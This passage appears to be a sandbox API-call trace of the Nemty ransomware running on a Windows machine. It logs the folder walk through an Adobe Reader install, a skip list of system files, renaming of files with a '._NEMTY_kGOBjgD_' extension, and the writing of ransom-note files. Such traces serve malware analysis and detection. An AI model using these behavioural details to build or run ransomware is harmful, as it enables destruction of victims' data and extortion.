[0172.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.696] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html._nemty_kgobjgd_")) returned 1 [0172.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.697] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8f3730, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a8f3730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a8f3730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.697] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.698] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.698] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.698] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.698] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.698] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.698] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.698] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.698] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.699] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8f3730, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a8f3730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a8f3730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.699] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.699] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2=".") returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="..") returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="...") returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="windows") returned -1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="$RECYCLE.BIN") returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="rsa") returned -1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="NTDETECT.COM") returned -1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="ntldr") returned -1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="MSDOS.SYS") returned -1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="IO.SYS") returned -1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="boot.ini") returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="boot.ini") returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="AUTOEXEC.BAT") returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="ntuser.dat") returned -1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="desktop.ini") returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="CONFIG.SYS") returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="RECYCLER") returned -1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="BOOTSECT.BAK") returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="bootmgr") returned 1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="programdata") returned -1 [0172.699] lstrcmpiW (lpString1="ENU", lpString2="appdata") returned 1 [0172.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ENU", lpUsedDefaultChar=0x0) returned 3 [0172.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ENU", lpUsedDefaultChar=0x0) returned 3 [0172.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.701] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.701] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.702] CloseHandle (hObject=0x254) returned 1 [0172.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.703] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.703] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.704] CloseHandle (hObject=0x254) returned 1 [0172.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.704] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a93f9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a93f9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.704] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.704] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a93f9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a93f9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.704] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.704] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.704] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.704] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.705] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, 